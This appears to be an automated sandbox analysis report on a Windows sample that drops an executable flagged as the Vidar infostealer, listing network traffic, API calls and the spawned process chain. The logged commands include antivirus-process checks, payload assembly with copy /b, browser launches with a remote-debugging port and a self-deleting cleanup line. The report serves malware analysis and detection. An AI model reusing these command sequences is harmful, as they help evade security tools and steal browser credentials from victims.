Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.245.216.205:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50110 version: TLS 1.2

Source: C:\Users\user\Desktop\PodcastsTries.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_001AF7C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

12_2_001AF7C7

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_001AF55C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

12_2_001AF55C

Source: C:\Users\user\Desktop\PodcastsTries.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_001C9FD2 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

12_2_001C9FD2

System Summary

Malicious sample detected (through community Yara rule)

Source: 12.2.Billion.com.4390000.1.unpack, type: UNPACKEDPE

Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_0014FFE0 CloseHandle,NtProtectVirtualMemory,

12_2_0014FFE0

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_001A4763: GetFullPathNameW,_wcslen,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

12_2_001A4763

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_00191B4D LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

12_2_00191B4D

Source: C:\Users\user\Desktop\PodcastsTries.exe	Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,		0_2_004038AF
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0019F20D ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		12_2_0019F20D

Source: C:\Users\user\Desktop\PodcastsTries.exe	File created: C:\Windows\RespectExperiments	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	File created: C:\Windows\ClosureSurge	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	File created: C:\Windows\CollectiblesFerrari	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	File created: C:\Windows\SandSublimedirectory	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	File created: C:\Windows\CorruptionEssential	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	File created: C:\Windows\ReservedSlovenia	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	File created: C:\Windows\ChartAccessible	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	File created: C:\Windows\PriestRussian	Jump to behavior

Source: C:\Users\user\Desktop\PodcastsTries.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\PodcastsTries.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\PodcastsTries.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\PodcastsTries.exe	Code function: 0_2_004049A8	0_2_004049A8
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00158017	12_2_00158017
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0014E144	12_2_0014E144
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0013E1F0	12_2_0013E1F0
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0016A26E	12_2_0016A26E
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001322AD	12_2_001322AD
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0014C624	12_2_0014C624
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0016E87F	12_2_0016E87F
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001BC8A4	12_2_001BC8A4
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001A2A05	12_2_001A2A05
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00166ADE	12_2_00166ADE
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00198BFF	12_2_00198BFF
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0014CD7A	12_2_0014CD7A
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0015CE10	12_2_0015CE10
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00167159	12_2_00167159
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00139240	12_2_00139240
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001C5311	12_2_001C5311
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001396E0	12_2_001396E0
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00151704	12_2_00151704
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00139B60	12_2_00139B60
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00157B8B	12_2_00157B8B
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00157DBA	12_2_00157DBA

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\680662\Billion.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: String function: 00150DA0 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: String function: 0014FD52 appears 40 times
Source: C:\Users\user\Desktop\PodcastsTries.exe	Code function: String function: 004062CF appears 58 times

Source: PodcastsTries.exe

Static PE information: invalid certificate

Source: PodcastsTries.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 12.2.Billion.com.4390000.1.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@104/289@25/16

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_001A41FA GetLastError,FormatMessageW,

12_2_001A41FA

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00192010 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		12_2_00192010
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00191A0B AdjustTokenPrivileges,CloseHandle,		12_2_00191A0B

Source: C:\Users\user\Desktop\PodcastsTries.exe

0_2_004044D1

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_0019DD87 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

12_2_0019DD87

Source: C:\Users\user\Desktop\PodcastsTries.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_001A3A0E CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

12_2_001A3A0E

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\G7MTMI1G.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7812:120:WilError_03

Source: C:\Users\user\Desktop\PodcastsTries.exe

File created: C:\Users\user\AppData\Local\Temp\nsf49A9.tmp

Jump to behavior

Source: PodcastsTries.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Users\user\Desktop\PodcastsTries.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PodcastsTries.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: QIWBS2NOP.12.dr, 6XLN7YM7G.12.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\PodcastsTries.exe

File read: C:\Users\user\Desktop\PodcastsTries.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PodcastsTries.exe "C:\Users\user\Desktop\PodcastsTries.exe"
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Assessing Assessing.cmd & Assessing.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 680662
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Memo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "OBTAINING" Compensation
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Honey + ..\Biotechnology + ..\Enzyme + ..\Harvard T
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\680662\Billion.com Billion.com T
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2236,i,6734849523328560890,2082883044191278633,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2704 --field-trial-handle=2644,i,11626362328839299317,9747645851488831929,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2052,i,17749502471063055911,16474361137930384879,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2708 --field-trial-handle=2412,i,5564331809908688110,6573540988472131423,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6356 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6704 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6980 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6980 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\680662\Billion.com" & rd /s /q "C:\ProgramData\IMYUKNY5XBIE" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Assessing Assessing.cmd & Assessing.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 680662	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Memo	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "OBTAINING" Compensation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Honey + ..\Biotechnology + ..\Enzyme + ..\Harvard T	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\680662\Billion.com Billion.com T	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\680662\Billion.com" & rd /s /q "C:\ProgramData\IMYUKNY5XBIE" & exit	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
